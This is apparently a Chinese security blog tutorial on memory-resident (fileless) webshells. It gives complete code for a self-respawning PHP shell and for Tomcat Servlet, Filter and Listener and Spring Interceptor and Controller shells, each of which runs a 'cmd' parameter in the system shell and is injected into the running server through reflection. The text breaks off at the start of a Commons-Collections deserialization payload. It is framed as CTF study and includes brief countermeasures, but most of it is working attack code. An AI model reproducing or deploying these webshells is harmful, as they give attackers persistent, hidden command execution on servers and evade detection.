内存马初识与浅析


前言

虽然说实战还没遇到过要用到内存马的情况,但是在一些竞赛中经常会有不出网的应用,除了写文件之外,打内存马也是一个不错的选择,之前基本上没了解过内存马,现在来浅析一下。

内存马

内存马也称无文件落地Webshell,主要是通过操作Web程序的内存对象的形式来执行恶意代码,相相对普通的文件Webshell驻留后门,这种形式更难给检测和拦截,也就是说这种形式的Webshell隐蔽性更强。

基础原理

在Web应用程序中,比如说Java Web存在各种组件如ListenerFilterServlet等组件,这些组件用于处理请求和响应以及特定的操作。

Listener(监听器)是一种用于监视Web应用程序中特定事件的组件。它可以监听Web应用程序的生命周期事件(如启动、停止、初始化等),也可以监听特定类型的请求和会话事件(如请求到达、会话创建、销毁等)。它可以用来执行一些与事件相关的操作,如日志记录、统计、资源加载等。

Filter(过滤器)是一种可以对请求和响应进行预处理和后处理的组件。它可以在Servlet被调用之前对请求进行拦截,并在Servlet处理完请求后对响应进行处理。通过使用过滤器,可以对请求进行身份验证、数据转换、日志记录等操作,还可以对响应进行压缩、字符编码等操作。

Servlet(服务器小程序)是一种在Java Web应用程序中处理HTTP请求和生成响应的组件。Servlet通常用于动态生成Web页面、处理表单数据、调用业务逻辑等。Servlet类需要继承 HttpServlet 类,并且需要实现 doGetdoPost等方法,用来处理不同类型的请求。

内存马就是通过利用请求修改内存中已有的组件或者注册一个新的组件写入恶意代码,达到持久化、隐蔽控制服务器的目的,下文主要以是Java Web内存马的学习记录。

PHP内存马

php内存马其实也叫不死马,一般在CTF决赛的AWD进行攻防对抗的时候是经常用到的,这种马的原理也是比较简单,但是比一般的文件Webshell要难清除一些。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.shell.php';
    $code = '<?php if(md5($_GET["pass"])=="bf124fb51e09438c2a8ef5c31e3146d3"){@eval($_POST['aiwin']);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .shell.php');
        usleep(3000);
    }
?>

ignore_user_abort(1);设置为true,表示忽略用户中止连接,即使与客户机断开,脚本也依旧会执行。

set_time_limit(0); 设置脚本的执行时间,设置为0表示没有时间限制。

unlink(\__FILE\__);删除文件本身。

usleep(3000);指延迟休眠3豪秒。

代码的意思就是断的通过 file_put_contents创建包含webshell的文件,前缀是.表示是隐藏文件,通过这种形式来达到不死马的效果。

至于这种不死马的克制也十分简单,它是间隔是3毫秒,只要你比它更快写将无害代码写入同名的文件中即可。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.shell.php';
    $code = 'no shell';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .shell.php');
        usleep(1000);
    }
?>

还有一种比较暴力的方法就是不断的对Webshell文件进行删除操作,通过这种竞争的形式杀掉shell,当然你也可以写的更复杂,去获取它的进程号,不断的kill进程也可以。

#!/bin/bash
while true 
do
rm -rf .shell.php
done

Tomcat内存马

  • 第一步,获取当前请求的HttpRequest对象或tomcat的StandardContext对象
  • 第二步,创建servlet等恶意对象。
  • 第三步,使用各类context对象的各种方法,向StandardContext添加servlet恶意对象,完成内存马的注入。

Servlet内存马

首先我们常用的jsp马如下:

public class WebshellServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws IOException, ServletException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isWindows = false;
        String systemType = System.getProperty("os.name"); // 获取操作系统的类型
        if(systemType!=null&&systemType.toLowerCase().contains("win")){
            isWindows=true;
        }
        String[] cmds = isWindows ?  new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
        InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
        String output = s.hasNext() ? s.next() : "";
        PrintWriter printWriter=servletResponse.getWriter();
        printWriter.println(output);
        printWriter.flush();
        printWriter.close();
    }
}

我们还需要向context对象中加载这个恶意的servlet

在解析Web.xml时,可以看到它将全部servlet放到了wrapper容器接口中,并全部放入了StandardContext,所以这里我们也需要获取到StandardContext

   private void configureContext(WebXml webxml) {
       //servlet
        for (ServletDef servlet : webxml.getServlets().values()) {
            Wrapper wrapper = context.createWrapper(); //创建容器接口
            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());//没加载则设置启动加载
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());//指定 Servlet 是否启用
            }
            wrapper.setName(servlet.getServletName());//获取Servlet名放入到wrapper中
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) { //添加初始化的参数
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();//支持角色授权机制
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());//获取servlet的全类名
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }
//根据 multipartdef 对象的信息,将文件上传的相关配置设置到 Wrapper 对象的 multipart 配置中,以支持处理文件上传功能
                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            //是否支持异步
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            //是否允许覆盖现有的 Servlet
            wrapper.setOverridable(servlet.isOverridable());
            context.addChild(wrapper); //将wrapper放入到contenxt中
        }

在这里插入图片描述

StandardContext可以在ServletContextApplicaionContext里面,ServletContext可以通过ServletRequest获取,因此获取StandardContext,并将wrapper接口放入即可。

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>
<%!
  public class WebshellServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws IOException, ServletException {
      String cmd = servletRequest.getParameter("cmd");
      boolean isWindows = false;
      String systemType = System.getProperty("os.name"); // 获取操作系统的类型
      if(systemType!=null&&systemType.toLowerCase().contains("win")){
        isWindows=true;
      }
      String[] cmds = isWindows ?  new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
      InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream();
      Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
      String output = s.hasNext() ? s.next() : "";
      PrintWriter printWriter=servletResponse.getWriter();
      printWriter.println(output);
      printWriter.flush();
      printWriter.close();
    }
  }
%>
<%
  //获取ApplicationContext
  ServletContext servletContext=request.getServletContext();
  Field applicationField=servletContext.getClass().getDeclaredField("context");
  applicationField.setAccessible(true);
  ApplicationContext applicationContext= (ApplicationContext) applicationField.get(servletContext);

  //获取StandardContext
  Field standardField=applicationContext.getClass().getDeclaredField("context");
  standardField.setAccessible(true);
  StandardContext standardContext= (StandardContext) standardField.get(applicationContext);

  Wrapper wrapper= standardContext.createWrapper();
  wrapper.setName("WebshellServlet");
  wrapper.setServletClass(WebshellServlet.class.getName());
  wrapper.setServlet(new WebshellServlet());

  standardContext.addChild(wrapper);
  standardContext.addServletMappingDecoded("/webshell","WebshellServlet");//URL->类方法的映射


%>

访问index.jsp,WebshellServlet被注册进去,即使删掉shell.jsp,可以访问Webshell

Filter内存马

Filter是用于在请求被发送到Servlet 之前或响应被发送回客户端之前,对请求进行预处理或响应进行后处理的组件。Filter 应用于 Web 应用程序的 URL 路径,可以截获客户端发往服务器的请求,或者截获服务器返回给客户端的响应,从而允许开发人员编写用于修改、转换或校验请求和响应的代码,可用于请求参数的处理、性能监控、认证授权等等。

  • 第一步,创建一个恶意的Filter
  • 第二步,向standardContext设置filterDeffilterMap
  • 第三步,将filterDefstandardContext放到filterConfig

同样在Web.xml初始化加载的时候可以看到会遍历全部的Filter,并放入到Context

        for (FilterDef filter : webxml.getFilters().values()) {
            if (filter.getAsyncSupported() == null) {
                filter.setAsyncSupported("false"); //是否支持异步
            }
            context.addFilterDef(filter); 
        }
        for (FilterMap filterMap : webxml.getFilterMappings()) {//Filter映射
            context.addFilterMap(filterMap);
        }

这里要注意还需要将filterDef和对应的standardContext放入到FilterConfig中。

<%!
    public class WebShellFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            Filter.super.init(filterConfig);
        }
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isWindows = false;
            String systemType = System.getProperty("os.name"); // 获取操作系统的类型
            if(systemType!=null&&systemType.toLowerCase().contains("win")){
                isWindows=true;
            }
            String[] cmds = isWindows ?  new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
            InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
            String output = s.hasNext() ? s.next() : "";
            PrintWriter printWriter=servletResponse.getWriter();
            printWriter.println(output);
            printWriter.flush();
            printWriter.close();
        }
        @Override
        public void destroy() {
            Filter.super.destroy();
        }
    }
%>
<%
    ServletContext servletContext=request.getServletContext();
    Field ApplicationField=servletContext.getClass().getDeclaredField("context");
    ApplicationField.setAccessible(true);
    ApplicationContext applicationContext= (ApplicationContext) ApplicationField.get(servletContext);

    Field StandardField=applicationContext.getClass().getDeclaredField("context");
    StandardField.setAccessible(true);

    StandardContext standardContext= (StandardContext) StandardField.get(applicationContext);

    //添加FilterDef
    Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
    Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
    FilterDef filterDef = (FilterDef)declaredConstructors.newInstance();
    filterDef.setFilterClass(WebShellFilter.class.getName());
    filterDef.setFilter(new WebShellFilter());
    filterDef.setFilterName("WebShellFilter");
    standardContext.addFilterDef(filterDef);

    //添加FilterMap
    Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
    Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
    FilterMap filterMap = (FilterMap)declaredConstructor.newInstance();
    filterMap.setFilterName("WebShellFilter");
    filterMap.addURLPattern("/webshellfilter");
    filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分发器类型为REQUEST,表示Filter将在每个HTTP请求的处理阶段被调用
    standardContext.addFilterMap(filterMap);

    //将standardContext和filterDef放入FilterConfig
    Class applicationConfig=Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor constructor=applicationConfig.getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

    Field filterConfigField=standardContext.getClass().getDeclaredField("filterConfigs");//  filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
    filterConfigField.setAccessible(true);
    Map filterConfigs= (Map) filterConfigField.get(standardContext);
    filterConfigs.put("WebShellFilter",filterConfig);
%>

Listen内存马

Listen(监听器)是用于监听和处理特定事件的组件。它是基于观察者设计模式实现的。可以在特定事件发生时执行相应的操作,例如记录日志、执行特定逻辑、修改请求参数等。监听器可以通过在 web.xml 文件中进行配置,也可以使用注解方式进行配置。

  • 第一步,创建一个恶意的listen
  • 第二步,将liten类加入Context
        for (String listener : webxml.getListeners()) {
            context.addApplicationListener(listener);
        }

直接通过addApplicationListener加到context里面,会发现不行,因为listener并没有被放到context中,而是被containerEvent处理了。

    @Override
    public void addApplicationListener(String listener) {

        synchronized (applicationListenersLock) {
            String results[] = new String[applicationListeners.length + 1];
            for (int i = 0; i < applicationListeners.length; i++) {
                if (listener.equals(applicationListeners[i])) {
                    log.info(sm.getString("standardContext.duplicateListener", listener));
                    return;
                }
                results[i] = applicationListeners[i];
            }
            results[applicationListeners.length] = listener;
            applicationListeners = results;
        }
        fireContainerEvent("addApplicationListener", listener);

    }
    @Override
    public void fireContainerEvent(String type, Object data) {

        if (listeners.size() < 1) {
            return;
        }

        ContainerEvent event = new ContainerEvent(this, type, data);
        // Note for each uses an iterator internally so this is safe
        for (ContainerListener listener : listeners) {
            listener.containerEvent(event);
        }
    }

加到context中的应该是addApplicationEventListener,加入到applicationEventListenersList列表中。

   public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }
<%!
    public class WebShelllistener implements ServletRequestListener{
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        }
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            ServletRequest servletRequest = servletRequestEvent.getServletRequest();
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                boolean isWindows = false;
                String systemType = System.getProperty("os.name"); // 获取操作系统的类型
                if (systemType != null && systemType.toLowerCase().contains("win")) {
                    isWindows = true;
                }
                String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
                InputStream inputStream = null;
                try {
                    inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                }
                Field requestField= null;
                try {
                    requestField = servletRequest.getClass().getDeclaredField("request");
                } catch (NoSuchFieldException e) {
                    e.printStackTrace();
                }
                requestField.setAccessible(true);
                Request request= null;
                try {
                    request = (Request) requestField.get(servletRequest);
                } catch (IllegalAccessException e) {
                    e.printStackTrace();
                }
                Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
                String output = s.hasNext() ? s.next() : "";
                PrintWriter printWriter = null;
                try {
                    printWriter = request.getResponse().getWriter();
                } catch (IOException e) {
                    e.printStackTrace();
                }
                printWriter.println(output);
                printWriter.flush();
                printWriter.close();
            }
        }
    }
%>
<%
    ServletContext context=request.getServletContext();
    Field applicationField=context.getClass().getDeclaredField("context");
    applicationField.setAccessible(true);
    ApplicationContext applicationContext= (ApplicationContext) applicationField.get(context);


    Field standardField=applicationContext.getClass().getDeclaredField("context");
    standardField.setAccessible(true);
    StandardContext standardContext= (StandardContext) standardField.get(applicationContext);
    
    standardContext.addApplicationEventListener(new WebShelllistener());
%>

springboot内存马

Interceptor内存马

在Spring Boot中,拦截器(Interceptor)是一种用于拦截HTTP请求和响应的功能。它可以在请求到达控制器之前或响应返回给客户端之前执行一些预处理或后处理操作,这跟Tomcat#Filter的作用是相似的。

要在Spring Boot中使用拦截器,你可以创建一个实现HandlerInterceptor接口的类,并实现它的三个方法:

  1. preHandle:在请求到达控制器之前执行,可以进行一些预处理操作。如果返回值为true,表示继续处理请求;如果返回值为false,表示终止请求的处理。
  2. postHandle:在请求处理完成后,渲染视图之前执行。可以进行一些后处理操作。
  3. afterCompletion:在整个请求完成后执行,无论视图是否渲染成功。可以用来进行资源清理操作。

大致看一下PreHandler的执行流程:

springbootDispatcherServlet#doDispatch会对HTTP请求进行解析,并确定对应的处理器和处理器适配器,获取处理器执行后的结果并渲染视图返回。在这个方法中,会创建一个HandlerExectionChain类,并通过getHandler方法来获取Handler

在这里插入图片描述

DispatcherServlet#getHandler方法中,会遍历HandlerMapping,从每一个mappings中调用getHandler获取handler

在这里插入图片描述

AbstractHandlerMapping#getHandler,首先会从当前的请求中获取对应的Handler对象,如果为空,则获取默认的Handler,如果Handler是字符串类型,则从ApplicationContext上下文中获取对应的处理器Bean,然后判断当前请求路径是否被缓存,如果没被缓存则初始化查找路径,最后调用getHandlerExecutionChain方法获取HandlerChain

在这里插入图片描述

getHandlerExecutionChain放啊中,会遍历adaptedInterceptors,如果当前request请求与Interceptor拦截器匹配,则把Interceptor加入到chain中,然后全部返回。

在这里插入图片描述

再看doDispatch方法,在获取到了chain后,会调用applyPreHandle方法。

在这里插入图片描述

applyPreHandle方法,遍历interceptorList拦截器列表,然后执行拦截器中的preHandle方法,完成调用。

在这里插入图片描述

因此Interceptor内存马大致可分为三步:

  • 获取ApplicationContext程序的上下文,这里一般是通过RequestContextHolder或者ContextLoader获取都可
  • 获取AbstractHandlerMapping中的adaptedInterceptors字段
  • 将自定义的恶意Handler添加到adaptedInterceptors字段中。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

public class MemShellInterceptor extends AbstractTranslet implements HandlerInterceptor{
    public MemShellInterceptor() throws NoSuchFieldException, IllegalAccessException {
        //获取webApplicationContext
        //WebApplicationContext webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
        WebApplicationContext webApplicationContext= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0);
        AbstractHandlerMapping abstractHandlerMapping= (RequestMappingHandlerMapping) webApplicationContext.getBean("requestMappingHandlerMapping");
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

        //自定义的恶意Handler添加到adaptedInterceptors中
        MemShellInterceptor memShellInterceptor=new MemShellInterceptor("test");
        adaptedInterceptors.add(memShellInterceptor);


    }
    public MemShellInterceptor(String test){

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
        String cmd = request.getParameter("cmd");
        if(cmd!=null) {
            boolean isWindows = false;
            String systemType = System.getProperty("os.name"); // 获取操作系统的类型
            if (systemType != null && systemType.toLowerCase().contains("win")) {
                isWindows = true;
            }
            String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
            InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
            String output = s.hasNext() ? s.next() : "";
            PrintWriter printWriter = response.getWriter();
            printWriter.println(output);
            printWriter.flush();
            printWriter.close();
        }
        else {
            PrintWriter printWriter = response.getWriter();
            printWriter.println("404 Page Not found");
            printWriter.flush();
            printWriter.close();
        }
        return true;
    }


    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }

}

Controller内存马

控制器(Controller)是指负责处理用户请求并返回响应的组件或模块。它是 MVC(Model-View-Controller)设计模式中的一部分,用于将用户的输入(例如通过网络或界面)传递给相应的处理逻辑,并返回相应的结果,简单来说,就是访问路由进行处理的对应函数。

Controller内存马相对于Interceptor内存马来说,缺点就在于,当存在Interceptor拦截的时候,Controller内存马就没法使用了,因为Interceptor在调用Controller之前。

Controller流程注册简要分析:

首先在AbstractHandlerMethodMapping#initHandlerMethods()方法中进行初始化,遍历所有的BeanName,只要BeanName不以scopedTarget.开头,则会进入processCandidateBean方法

在这里插入图片描述

AbstractHandlerMethodMapping#processCandidateBean中,会根据beanName获取类型,随后使用isHandler方法判断是否存在Controller.class||RequestMapping.class注解,存在则进入到detectHandlerMethods方法中

在这里插入图片描述

进入到detectHandlerMethods中,会进入到重写的getMappingForMethod方法中,在这个方法里面会将当前hanler下的method作为参数经过createRequestMappinginfo创建RequestMappinginfo,又以handlerType为参数创建RequestMappinginfo,并将RequestMappinginfo返回。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

随后往下走,会进入循环,取出methods中的键值对,分别执行registerHandlerMethod

在这里插入图片描述

最终经过registerHandlerMethod将路由注册进入了mappingRegistry中,也就是MappingRegistry类。

在这里插入图片描述

注册Controller内存马可分为

  • 获取WebApplicationContext上下文和RequestMappingHandlerMapping
  • 获取实例beanmethod对象
  • 定义url和对应的controller并在内存中注册controller

注意,在spring2.5-3.1使用DefaultAnnotationHandlerMapping处理URL映射。spring3.1以后使用RequestMappingHandlerMapping

spring2.5-3.1内存马

public class MemShellMappingRegistry {
    public MemShellMappingRegistry() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        // 获取mappingRegistry
        Field field = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
        field.setAccessible(true);
        //反射获取方法
        Object mappingRegistry = field.get(mapping);
        Class<?> c =Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
        Method[] methods=c.getDeclaredMethods();

        //定义访问controller的URL地址
        PatternsRequestCondition url    = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();

        //获取RequestMappingInfo
        Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
        Constructor<?> constructor =class1.getDeclaredConstructor(PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestCondition.class);

        RequestMappingInfo requestMappingInfo= (RequestMappingInfo) constructor.newInstance(url, condition, null, null, null, null, null);
        //恶意的Controller方法
        MemShellMappingRegistry memShellMappingRegistry = new MemShellMappingRegistry("aaa");
        Method method1=memShellMappingRegistry.getClass().getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
        //获取register方法
        for(Method method:methods){
            if("register".equals(method.getName())){
                method.setAccessible(true);
                method.invoke(mappingRegistry,requestMappingInfo,memShellMappingRegistry,method1);
            }
        }
    }
    
    
  

根据上面分析,直接获取MappingRegistry类,调用MappingRegistry#registry()直接注册

package com.example.memshellspring;


import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class MemShellController {
    public MemShellController() throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
        //WebApplicationContext webApplicationContext= ContextLoader.getCurrentWebApplicationContext();不行
        //RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());//版本问题,方法已去掉
        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        //获取实例bean
        RequestMappingHandlerMapping requestMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
        //获取controller的method对象
        Method method =MemShellController.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
        //定义访问controller的URL地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        //定义允许访问URL的方法
        RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
       // RequestMappingInfo requestMappingInfo=new RequestMappingInfo(url,requestMethodsRequestCondition,null,null,null,null,null);//弃用了。
        //在内存中动态注册 controller
        Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
        Constructor<?> constructor =class1.getDeclaredConstructor(PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestCondition.class);
        RequestMappingInfo requestMappingInfo= (RequestMappingInfo) constructor.newInstance(url, requestMethodsRequestCondition, null, null, null, null, null);
        MemShellController memShellController = new MemShellController("aaa");
        requestMapping.registerMapping(requestMappingInfo, memShellController, method);//通过调用registerMapping调用		this.mappingRegistry.register(mapping, handler, method);
    }

    public MemShellController(String name) {

    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                boolean isWindows = false;
                String systemType = System.getProperty("os.name"); // 获取操作系统的类型
                if (systemType != null && systemType.toLowerCase().contains("win")) {
                    isWindows = true;
                }
                String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
                String output = s.hasNext() ? s.next() : "";
                PrintWriter printWriter = response.getWriter();
                printWriter.println(output);
                printWriter.flush();
                printWriter.close();
            } else {
                PrintWriter printWriter = response.getWriter();
                printWriter.println("404 Page Not found");
                printWriter.flush();
                printWriter.close();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

在我使用上面两个的时候,报错了,报了java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".错误,因为Springboot 2.6.0 版本开始,官方修改了url路径的默认匹配策略

springboot>2.6内存马

public class MemShell extends AbstractTranslet {
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = MemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            MemShell springControllerMemShell = new MemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }
}

示例(打CC链子)

这里尝试下使用Interceptor内存马打一个CC链,引入CC依赖

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

引入代码:

在这里插入图片描述

写出payload如下,注意jdk版本,这条链子在高版本的JDK中不可用,因为AnnotationInvocationHandler被改动了:

package com.example.memshellspring;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
